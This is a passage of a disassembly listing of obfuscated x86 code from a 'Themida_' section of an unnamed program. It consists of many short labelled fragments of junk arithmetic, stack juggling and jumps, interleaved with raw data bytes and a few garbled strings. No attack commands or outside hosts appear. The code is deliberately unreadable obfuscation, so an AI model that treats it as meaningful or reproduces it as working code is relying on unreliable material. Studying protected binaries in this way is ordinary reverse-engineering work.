		sub	esp, 4
		mov	[esp], esi
		push	3F740E7h
		pop	esi
		mov	eax, 3F740EBh
		sub	eax, esi
		pop	esi
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_58D116
; ---------------------------------------------------------------------------


loc_58A45D:				; CODE XREF: Themida_:00597C50j
		mov	ecx, [esp]
		jmp	loc_5933AE
; ---------------------------------------------------------------------------
		db 59h,	52h, 0BAh
		dd 2, 575AD701h, 0A012E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A475:				; CODE XREF: Themida_:00595EDDj
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	edx
		push	esi
		push	1DF47593h
		pop	esi
		shr	esi, 4
		sub	esi, 1DF4755h
		push	ecx
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	ebp, 49E64C75h
		sub	ebp, edx
		jmp	loc_59370C
; ---------------------------------------------------------------------------


loc_58A4AE:				; CODE XREF: Themida_:0059741Cj
		sub	ecx, edi
		pop	edi
		jmp	loc_58D4D4
; ---------------------------------------------------------------------------
aPs		db '[PιμΘ',0
		db 0
; ---------------------------------------------------------------------------


loc_58A4BD:				; CODE XREF: Themida_:0059218Fj
		push	254Eh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_58ED9C
; ---------------------------------------------------------------------------


loc_58A4CF:				; CODE XREF: Themida_:00593707j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		jmp	loc_58EDC9
; ---------------------------------------------------------------------------
		dd 81D831ADh, 4ECh, 7F2CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A4EA:				; CODE XREF: Themida_:005959CBj
		pop	eax
		push	esi
		mov	esi, 0AA364E0h
		jmp	loc_591D30
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C2404h, 0FFFFFDCEh, 0E9D8B450h, 1231h, 798DBA52h
		dd 0C2816E77h, 5786A1Ah, 3B26E281h, 0EA810E19h,	0A2AC0B68h
		dd 4F18E9h, 0C4A6800h, 0E9581D9Dh, 8883h
; ---------------------------------------------------------------------------


loc_58A530:				; CODE XREF: Themida_:0058D356j
		and	bl, dl
		pop	dx
		sub	bl, 24h
		add	al, 0D2h
		add	al, bl
		push	bx
		mov	bh, 0D2h
		sub	al, bh
		pop	bx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_595934
; ---------------------------------------------------------------------------
		db 1
		dd 0CFE981E9h, 5D387F67h, 31240C33h, 0C33240Ch,	24248B24h
		dd 0AC69E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A569:				; CODE XREF: Themida_:0058CBE8j
		or	edx, eax
		jmp	loc_597E7F
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	48B5C24h, 4EC8124h, 89000000h
		dd 0E189240Ch, 3F2BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A58E:				; CODE XREF: Themida_:0058D864j
		sub	ah, 64h
		jmp	loc_58CC2F
; ---------------------------------------------------------------------------
		dw 33E9h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A59B:				; CODE XREF: Themida_:005911F1j
		shr	esi, 3
		push	edx
		mov	edx, 0F9C6E2F4h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esi
		mov	eax, ebx
		jmp	loc_58FC82
; ---------------------------------------------------------------------------
		db 68h,	43h, 36h
		dd 0C890000h, 68595424h, 7F77h,	0BF243C89h, 2CA148Dh, 0EB77C781h
		dd 0F901FD35h, 59BE565Fh, 0E901406Bh, 900Bh
; ---------------------------------------------------------------------------


loc_58A5E4:				; CODE XREF: Themida_:00592242j
		pop	dword ptr [edi+24h]
		push	eax
		mov	eax, 5DB64E91h
		jmp	loc_591787
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 4EC81h, 2C890000h, 0F7BA5224h, 8917962Ah, 564E9D5h
		dd 84680000h, 8900000Ah, 3BE9241Ch
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A617:				; CODE XREF: Themida_:005957A8j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_590649
; ---------------------------------------------------------------------------


loc_58A629:				; CODE XREF: Themida_:0058FACCj
		push	edi
		push	3086h
		mov	[esp], edx
		push	ebp
		jmp	loc_5951EE
; ---------------------------------------------------------------------------
		dd 4C481h, 71680000h, 89000022h, 74FF241Ch, 8F5B0424h
		dd 0BFE92404h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A653:				; CODE XREF: Themida_:00597729j
		and	ebp, 0BAE571Ch
		jmp	loc_595655
; ---------------------------------------------------------------------------


loc_58A65E:				; CODE XREF: Themida_:00595BBFj
		neg	edx
		push	esi
		mov	esi, 0EAB4AF9h
		sub	edx, 66D76958h
		add	edx, esi
		add	edx, 66D76958h
		pop	esi
		push	3BB7h
		mov	[esp], ecx
		mov	ecx, 620A1BF4h
		or	edx, ecx
		jmp	loc_59594F
; ---------------------------------------------------------------------------


loc_58A689:				; CODE XREF: Themida_:0058F930j
		push	4FF0h
		mov	[esp], edx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 0FD37D82h, 5FA668h, 24148900h, 0CC394EBAh, 0A4E28117h
		dd 0E925F72Dh, 0C2B5h
; ---------------------------------------------------------------------------


loc_58A6B4:				; CODE XREF: Themida_:00595F1Dj
		pop	eax
		add	eax, 6DD12502h
		jmp	loc_593728
; ---------------------------------------------------------------------------


loc_58A6BF:				; CODE XREF: Themida_:0058F656j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4E03894h
		add	ebx, 471C42F7h
		push	ebp
		mov	ebp, 20F658B4h
		sub	ebp, 0AA410DC3h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 5BFC29BCh
		or	ebx, 1B75370Fh
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58D236
; ---------------------------------------------------------------------------


loc_58A6FB:				; CODE XREF: Themida_:0058CEBDj
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	ebp, [esp]
		jmp	loc_596042
; ---------------------------------------------------------------------------


loc_58A70D:				; CODE XREF: Themida_:0059277Fj
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_59657E
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 0D0E90424h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A723:				; CODE XREF: Themida_:0059406Bj
		and	ebp, 2E86331Eh
		or	ebp, 400507A8h
		jnz	loc_58B9BA
		shl	ebp, 5
		jmp	loc_58D164
; ---------------------------------------------------------------------------
		db 29h,	0D9h
; ---------------------------------------------------------------------------


loc_58A73F:				; CODE XREF: Themida_:00592EC0j
		shl	ecx, 6
		shl	ecx, 6
		shr	ecx, 4
		jmp	loc_58C945
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 44h
		dd 8176152Ch, 9E2CDAF5h, 33E58129h, 4535D651h, 13BA52h
		dd 0D5291582h, 96D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A76D:				; CODE XREF: Themida_:0058BCA7j
		pop	cx
		sub	bl, 0D5h
		jmp	loc_58D314
; ---------------------------------------------------------------------------


loc_58A777:				; CODE XREF: Themida_:005909FFj
		or	ebp, 5C967C10h
		xor	ebp, 0C24EC2BCh
		mov	eax, ebp
		pop	ebp
		sub	eax, ebx
		pop	ebx
		shl	eax, 2
		js	loc_594307
		push	edi
		mov	edi, 8DF9C78Eh
		jmp	loc_596786
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------


loc_58A79E:				; CODE XREF: Themida_:0058E655j
		pop	esp
		mov	ax, [esp]
		jmp	loc_59772E
; ---------------------------------------------------------------------------


loc_58A7A8:				; CODE XREF: Themida_:0058C5DBj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_59590E
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 85665C24h, 0F7E99CC8h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A7D7:				; CODE XREF: Themida_:00594CAEj
		sub	eax, 3E5A6B2Bh
		sub	eax, 65647781h
		add	eax, edi
		add	eax, 65647781h
		jmp	loc_5966B5
; ---------------------------------------------------------------------------


loc_58A7ED:				; CODE XREF: Themida_:00592D13j
		pop	eax
		pop	ebp
		and	eax, 58EE63B2h
		jmp	loc_58E11C
; ---------------------------------------------------------------------------


loc_58A7F9:				; CODE XREF: Themida_:00596BB7j
		shr	edi, 7
		jmp	loc_594C56
; ---------------------------------------------------------------------------


loc_58A801:				; CODE XREF: Themida_:00594296j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58A806:				; CODE XREF: Themida_:00596BC5j
		add	ebp, 30103AF3h
		jmp	loc_5901F7
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 13h
		dd 0C1476E1Eh, 0C28108EAh, 0FFB891E6h, 835AD701h, 3C8704EFh
		dd 80D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A82E:				; CODE XREF: Themida_:00597F66j
		js	loc_5951C7
		or	dl, 77h
		sub	dl, 8Fh
		jmp	loc_58B72C
; ---------------------------------------------------------------------------


loc_58A83F:				; CODE XREF: Themida_:0059594Aj
		mov	ebp, 78A8264Bh
		add	ebp, 3A89551Dh
		jmp	loc_597CF6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6D23B850h, 0E0D138DAh, 20B6850Fh, 0F400000h,	44518Ah
		dd 0E3CE8000h
; ---------------------------------------------------------------------------


loc_58A868:				; CODE XREF: Themida_:00593A8Ej
		shl	eax, 8
		shl	eax, 7
		jmp	loc_5967BC
; ---------------------------------------------------------------------------
		db 80h
		dd 0F180D6E9h, 2F1807Dh, 34FFCB00h, 68575924h, 4D3Bh, 0E9242489h
		dd 9798h
; ---------------------------------------------------------------------------


loc_58A890:				; CODE XREF: Themida_:00591EF7j
		mov	[esp], cx
		mov	cl, 75h
		jmp	loc_594371
; ---------------------------------------------------------------------------
		db 5Fh
		dd 33240C31h, 0C31240Ch, 3F5BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A8AA:				; CODE XREF: Themida_:0058C371j
		push	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_591D61
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 8Bh
		dd 6659C830h, 665C8D68h, 0B6241489h, 8C67E9D9h,	0C8B0000h
		dd 0E2895224h, 4C281h, 0C2830000h, 68FFE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A8E2:				; CODE XREF: Themida_:00592134j
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 6DD02ED4h
		xor	esi, 432B000Bh
		sub	esi, 1
		jmp	loc_58CDB3
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 5AF78897h, 90B05066h, 8B66C228h, 30E92404h, 0F600001Ah
		dd 45EF80D7h, 5E45E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A919:				; CODE XREF: Themida_:0058F7E3j
		add	edx, edi
		push	dword ptr [edx]
		pop	ecx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_593973
; ---------------------------------------------------------------------------


loc_58A946:				; CODE XREF: Themida_:00592E81j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5949C1
; ---------------------------------------------------------------------------
aBsOypscq	db 'αΘOypιcq',0
		dw 5A00h
		dd 5B5AD689h, 0CB69C02Dh, 55F00145h, 0C80015BDh, 5783E906h
		dd 0E9010000h, 2FF8E95Dh, 8B660000h, 0B0682404h, 89000053h
		dd 0E789243Ch, 1AD2E956h, 0C4810000h, 4, 0E9525166h, 0B14Ah
; ---------------------------------------------------------------------------


loc_58A9A0:				; CODE XREF: Themida_:0058B2F0j
		mov	ecx, [esp]
		jmp	loc_58B983
; ---------------------------------------------------------------------------


loc_58A9A8:				; CODE XREF: Themida_:00594BA7j
		add	edx, ebp
		add	edx, 5B8A3F89h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58E875
; ---------------------------------------------------------------------------
		dd 0F40D0F7h, 4BFB89h, 36FAE900h, 0EB810000h, 2C425684h
		dd 48B665Ah, 5D545524h,	8904EC83h, 48BE2434h, 0C12E596Bh
		dd 0EE8104E6h, 0E596B47Ch, 0D7E9F501h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A9F3:				; CODE XREF: Themida_:0058D563j
		add	bl, 76h
		shr	bl, 5
		jns	loc_59611D
		shl	bl, 1
		jmp	loc_58D919
; ---------------------------------------------------------------------------
		dw 0C15Eh
		dd 0E95702E8h, 5E56h, 24048B66h, 3A40E955h, 81530000h
		dd 6F2404h, 348B1E6Ch, 4C48124h, 0E9000000h, 83BEh, 6802EAC1h
		dd 6CAh, 0BB241C89h, 1E512081h,	815BDA31h, 0CF69C9C2h
		dd 9BC681D6h, 0E9296761h, 0B1ECh, 813C77FFh, 4ECh, 241C8900h
		dd 5DD06857h, 0F75F1D58h, 3B9AE9DFh, 565A0000h,	0C681E689h
		dd 4, 4BA52h, 0D6010000h, 2434875Ah, 93E5E95Ch,	0DBF70000h
		dd 28D9C381h, 0D9017CE2h, 6769E9h
		db 0
; ---------------------------------------------------------------------------


loc_58AA99:				; CODE XREF: Themida_:00592A35j
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5C760B6Eh
		xor	edi, 5C760B6Ah
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		movzx	cx, al
		jmp	loc_58F892
; ---------------------------------------------------------------------------


loc_58AADC:				; CODE XREF: Themida_:0058C331j
		mov	ecx, 6C487D9Ah
		xor	[esp+4], ecx
		jmp	loc_5966EA
; ---------------------------------------------------------------------------
		dw 0C9B2h
		dd 305AD088h, 24048BC3h, 0E904C483h, 0AE9Bh
; ---------------------------------------------------------------------------


loc_58AAFC:				; CODE XREF: Themida_:0058AF39j
		add	esp, 4
		push	edx
		mov	edx, 18B84FD6h
		add	ebx, edx
		pop	edx
		sub	ebx, ebp
		push	esi
		mov	esi, 184E24F4h
		shr	esi, 2
		add	esi, 62A96D8Ah
		jmp	loc_58AD7F
; ---------------------------------------------------------------------------
		db 0Dh,	0DEh, 11h
		dd 0DA353935h, 139BF31h, 0BB5358C1h, 4,	0E89E9h, 54AB6800h
		dd 0C890000h, 0F788E924h, 0C380FFFFh, 66C328E6h, 9C5FE951h
		dd 0C2830000h, 24148704h, 368665Ch, 1C89667Bh, 0D2BB6624h
		dd 1F056657h, 81AAE924h, 815A0000h, 275335CDh, 0DDF74571h
		dd 2CBFED81h, 0F5817759h, 1A283039h, 5E5DE801h,	8704C083h
		dd 248B2404h, 81F1F724h, 4ECh, 240C8900h, 0B968E189h, 89000026h
		dd 0FABE2434h, 5563603Eh, 0CB55B9BDh, 81DDF70Eh, 0BD03A0EDh
		dd 45DDF753h, 2667F581h, 0EE2110EBh, 8E6C15Dh, 8104E6C1h
		dd 746073E6h, 7DBD5519h, 0E931CA7Bh, 0C159h, 0CD5BBBB8h
		dd 58C3312Ah, 0CC9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58ABE9:				; CODE XREF: Themida_:00595DB1j
		push	esi
		pop	edx
		pop	esi
		mov	ecx, edx
		jmp	loc_58DFA0
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 24348B54h, 4C481h, 0E9570000h, 0D1AAh, 0BD242C89h
		dd 4, 8E9EB29h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AC17:				; CODE XREF: Themida_:loc_59781Dj
		shr	al, 7
		shr	al, 3
		jp	loc_595318
		xor	al, 0F6h
		push	ebx
		mov	bl, al
		jmp	loc_58D8B7
; ---------------------------------------------------------------------------
		db 5Bh,	88h, 0F7h
		dd 6FC5815Ah, 0F3F4858h, 0A38884h, 8C0F4D00h, 0AF80h, 748C0F45h
		dd 0E9000005h, 3E7Ch
; ---------------------------------------------------------------------------


loc_58AC50:				; CODE XREF: Themida_:loc_597D69j
		shl	esi, 2
		jmp	loc_5962DA
; ---------------------------------------------------------------------------


loc_58AC58:				; CODE XREF: Themida_:005956CAj
		push	3DAC3A88h
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2C437814h
		and	edx, 522D5BC8h
		shr	edx, 4
		push	ebp
		mov	ebp, 65032797h
		add	ebp, 7FF34378h
		sub	ebp, 0A74A4705h
		add	edx, ebp
		jmp	loc_590658
; ---------------------------------------------------------------------------


loc_58AC8B:				; CODE XREF: Themida_:005919D5j
		mov	[esp], edx
		push	ebx
		jmp	loc_58CB89
; ---------------------------------------------------------------------------
		dd 8B240C87h, 89662424h, 2BE92404h, 81FFFFF6h, 19F207EAh
		dd 8BD001E1h, 54522414h, 68E3E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58ACB6:				; CODE XREF: Themida_:0058E271j
					; Themida_:005910C2j
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_597F6B
; ---------------------------------------------------------------------------
		dw 5BFh
		dd 2926D52Ch, 0E94B5FFBh, 1F23h, 9319ED81h, 0EA01305Ch
		dd 46EAE95Dh, 48F0000h,	100BE924h, 0E9510000h, 0B8E4h
; ---------------------------------------------------------------------------


loc_58ACF4:				; CODE XREF: Themida_:00591409j
		xor	cl, 66h
		add	bl, cl
		pop	ecx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_596D28
; ---------------------------------------------------------------------------
		db 88h,	0CEh, 59h
		dd 1669E9h, 240C8700h, 3AE4E9h,	5E545600h, 4C681h, 0BF570000h
		dd 2, 34FFFE01h, 9670E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AD2E:				; CODE XREF: Themida_:0058B0A5j
					; Themida_:0058C0D3j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, 7F2BBDB9h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58F609
; ---------------------------------------------------------------------------


loc_58AD53:				; CODE XREF: Themida_:00591FD3j
		sub	ecx, 0BB2A04F5h
		jmp	loc_597716
; ---------------------------------------------------------------------------


loc_58AD5E:				; CODE XREF: Themida_:00591F7Bj
		push	eax
		push	428Fh
		jmp	loc_58B3CA
; ---------------------------------------------------------------------------


loc_58AD69:				; CODE XREF: Themida_:00597501j
		inc	cl
		add	cl, 0C2h
		xor	cl, 0B6h
		jmp	loc_58EC96
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 2FE92404h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AD7F:				; CODE XREF: Themida_:0058AB1Cj
		dec	esi
		jmp	loc_58B41B
; ---------------------------------------------------------------------------
aNsM		db '­ιΗM',0
		dw 0BE00h
		dd 0DDE0AD60h, 815EF201h, 4ECh,	24148900h, 0A10BF57h, 7C313CF6h
		dd 3C8B0424h, 4C48124h,	8B000000h, 0C483241Ch, 10F38104h
		dd 8B3CF60Ah, 0C4812414h, 4, 24048B50h,	0D768h,	243C8900h
		dd 0BB53E789h, 20CA5D1Dh, 0A2E7C381h, 0DF01DF35h, 4BB535Bh
		dd 0E9000000h, 8737h
; ---------------------------------------------------------------------------


loc_58ADEC:				; CODE XREF: Themida_:00596EE3j
		pop	eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58ADF2:				; CODE XREF: Themida_:0058BAF5j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58C320
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4832404h, 68590424h,	45F6h, 0BD242C89h, 605B1385h, 2ED1E9h
		dd 81F72900h, 945948C7h, 24348B46h, 4C481h, 0F8010000h
		dd 2ED1E95Fh, 8B590000h, 0C481241Ch, 4,	2AA9E9h, 0BD555600h
		dd 30444E37h, 685DEE89h, 0
		dd 0FF243429h, 815E2434h, 4C4h,	20BD5500h, 152AA39h, 0C6815DEEh
		dd 73B8716Ch, 2974C681h, 6FE9635Ah, 5900001Ah, 1875488h
		dd 241C8B5Ah, 0E904C483h, 0FFFFF43Eh
; ---------------------------------------------------------------------------


loc_58AE90:				; CODE XREF: Themida_:005928F9j
		pop	ebp
		pop	eax
		add	eax, 4
		jmp	loc_58E931
; ---------------------------------------------------------------------------


loc_58AE9C:				; CODE XREF: Themida_:00591ABDj
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	21BFh
		mov	[esp], ecx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dd 463D2D48h, 0E8C148BAh, 11054805h, 520095Bh, 309DB1ABh
		dd 18E9C789h, 53000095h, 0E9529CBBh, 4E3C110h, 0C6F7840Fh
		dd 0BA520000h, 1D286027h, 0F702EAC1h, 0B3B951DAh, 1345C4Eh
		dd 0EAD159CAh, 0EA81DAF7h, 0A786B5D2h, 0C15AD321h, 0BE5604E3h
		dd 77CD8E05h, 555EF331h, 0E889DD89h, 0C03E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AF1A:				; CODE XREF: Themida_:00591F1Dj
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 6Bh
		mov	bh, cl
		jmp	loc_595E4C
; ---------------------------------------------------------------------------


loc_58AF30:				; CODE XREF: Themida_:00590067j
		pop	esi
		mov	ecx, eax
		pop	eax
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_58AAFC
; ---------------------------------------------------------------------------


loc_58AF3E:				; CODE XREF: Themida_:00590EA0j
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, 50247E69h
		push	ebx
		mov	ebx, 345E6392h
		dec	ebx
		xor	ebx, 417867F5h
		push	ebp
		jmp	loc_5978F6
; ---------------------------------------------------------------------------


loc_58AF7B:				; CODE XREF: Themida_:0058EF1Fj
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0E29FBBBAh, 815EF789h, 0E56FF4E7h, 0FB880F2Eh, 81FFFFF6h
		dd 0D37D82CFh, 5FA6680Fh, 14890000h, 394EBA24h,	0E28117CCh
		dd 25F72DA4h, 18B2EA81h, 0A8E9CC15h, 810000A1h,	4C6h, 24348700h
		dd 0E924248Bh, 0FFFFF2FEh
; ---------------------------------------------------------------------------


loc_58AFD0:				; CODE XREF: Themida_:00597F9Fj
		add	ebx, 26473568h
		jmp	loc_58F7ED
; ---------------------------------------------------------------------------


loc_58AFDB:				; CODE XREF: Themida_:0059084Aj
		mov	bl, 0A9h
		jmp	loc_58D919
; ---------------------------------------------------------------------------


loc_58AFE2:				; CODE XREF: Themida_:0058CFF4j
		push	dword ptr [esp]
		jmp	loc_59653F
; ---------------------------------------------------------------------------


loc_58AFEA:				; CODE XREF: Themida_:005972B7j
		bt	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58AFF5:				; CODE XREF: Themida_:00596D09j
		mov	ecx, 0A08ED1AFh
		sub	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 2ABD5B43h
		mov	esi, ebp
		jmp	loc_59178F
; ---------------------------------------------------------------------------


loc_58B00A:				; CODE XREF: Themida_:00595AD7j
		mov	ecx, esi
		mov	esi, [esp]
		jmp	loc_58D0BC
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0EDh
; ---------------------------------------------------------------------------


loc_58B01C:				; CODE XREF: Themida_:00590D7Aj
		mov	[esp], esi
		jmp	loc_59033C
; ---------------------------------------------------------------------------
		dd 2C3D6866h, 658E6866h, 24248966h, 705B6866h, 240C8966h
		dd 28E95266h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B03F:				; CODE XREF: Themida_:005953AEj
		push	ebx
		push	esi
		jmp	loc_58F51B
; ---------------------------------------------------------------------------


loc_58B046:				; CODE XREF: Themida_:00592062j
		sub	esi, 15C7E415h
		jmp	loc_591E27
; ---------------------------------------------------------------------------
a34Suk		db '34$ιγͺ',0
		dd 88B85000h, 5108E651h, 0DC6C4FB9h, 9CF1811Ch,	0E9107346h
		dd 111Ah, 4C481h, 1C330000h, 241C3124h,	5C241C33h, 0C3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_58B085:				; CODE XREF: Themida_:0058E502j
		mov	edx, ecx
		pop	ecx
		add	edx, 0E36DF7FAh
		add	ebx, edx
		jmp	loc_58F748
; ---------------------------------------------------------------------------


loc_58B095:				; CODE XREF: Themida_:0058CA24j
		js	loc_59203B
		inc	ecx
		jg	loc_5945E0
		shl	ecx, 6
		jmp	loc_58AD2E
; ---------------------------------------------------------------------------


loc_58B0AA:				; CODE XREF: Themida_:00590808j
		push	6B68h
		mov	[esp], esi
		push	esp
		jmp	loc_58F0C2
; ---------------------------------------------------------------------------


loc_58B0B8:				; CODE XREF: Themida_:005973B4j
		add	esp, 4
		or	edi, 72974E0Ah
		push	ecx
		mov	ecx, 4D383F75h
		or	ecx, 32E01353h
		xor	ecx, 70B47000h
		xor	edi, ecx
		jmp	loc_5959A4
; ---------------------------------------------------------------------------
		dw 0A22Ch
		dd 83241C8Bh, 0B55104C4h, 0FFE8289Dh, 56592434h, 8904EC83h
		dd 0B8502424h, 4, 4246C81h, 26836A92h, 4244401h, 0FFFBE5E9h
		dd 243C89FFh, 482DE9h, 24348100h, 6EC6244Dh, 197DE9h, 2434FF00h
		dd 0E9240C8Bh, 6A0Dh
; ---------------------------------------------------------------------------


loc_58B128:				; CODE XREF: Themida_:0058FE0Fj
		push	40D37A09h
		jmp	loc_597FCA
; ---------------------------------------------------------------------------


loc_58B132:				; CODE XREF: Themida_:00592BA4j
		xor	ebp, 707872DFh
		xor	ebp, 7A46618Ch
		add	esi, ebp
		pop	ebp
		jmp	loc_591453
; ---------------------------------------------------------------------------


loc_58B146:				; CODE XREF: Themida_:0059790Aj
		push	eax
		mov	eax, 7B8E27D0h
		shl	eax, 8
		jmp	loc_58D946
; ---------------------------------------------------------------------------


loc_58B154:				; CODE XREF: Themida_:00591B48j
		pop	eax
		mov	ecx, [esp]
		jmp	loc_58ECCD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHO		db '$h=o',0
		align 2
		dw 3C89h
		dd 81E78924h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0E389241Ch
		dd 9A43E9h, 2C78100h, 0E9000000h, 6376h
; ---------------------------------------------------------------------------


loc_58B190:				; CODE XREF: Themida_:0058B5BDj
		dec	esi
		add	esi, 6AFA2F86h
		add	esi, 5434DBB6h
		sub	edx, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		mov	dword ptr [edi+20h], 3EDF178Bh
		xor	[edi+20h], edx
		mov	edx, [esp]
		jmp	loc_58D0EB
; ---------------------------------------------------------------------------


loc_58B1B8:				; CODE XREF: Themida_:0058B6C7j
		add	eax, ebx
		jmp	loc_58DB81
; ---------------------------------------------------------------------------
aSgo		db '^ιG',0
		db 0
; ---------------------------------------------------------------------------


loc_58B1C5:				; CODE XREF: Themida_:0058FD04j
		shr	ecx, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58E378
; ---------------------------------------------------------------------------


loc_58B1D5:				; CODE XREF: Themida_:0058E3AFj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edx, 169B1BB5h
		push	edi
		mov	edi, 55F74DD2h
		or	edi, 5C76E09h
		and	edi, 2BFC7562h
		add	edi, 47B67286h
		jmp	loc_58CC4B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 54240C89h, 4C18159h,	52000000h, 0EDFE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B21A:				; CODE XREF: Themida_:0059464Fj
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DA90
; ---------------------------------------------------------------------------


loc_58B22C:				; CODE XREF: Themida_:loc_593E3Fj
		not	esi
		or	esi, 395B5D5Eh
		jmp	loc_597D69
; ---------------------------------------------------------------------------


loc_58B239:				; CODE XREF: Themida_:0058D2E8j
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_591237
; ---------------------------------------------------------------------------


loc_58B249:				; CODE XREF: Themida_:00593C33j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
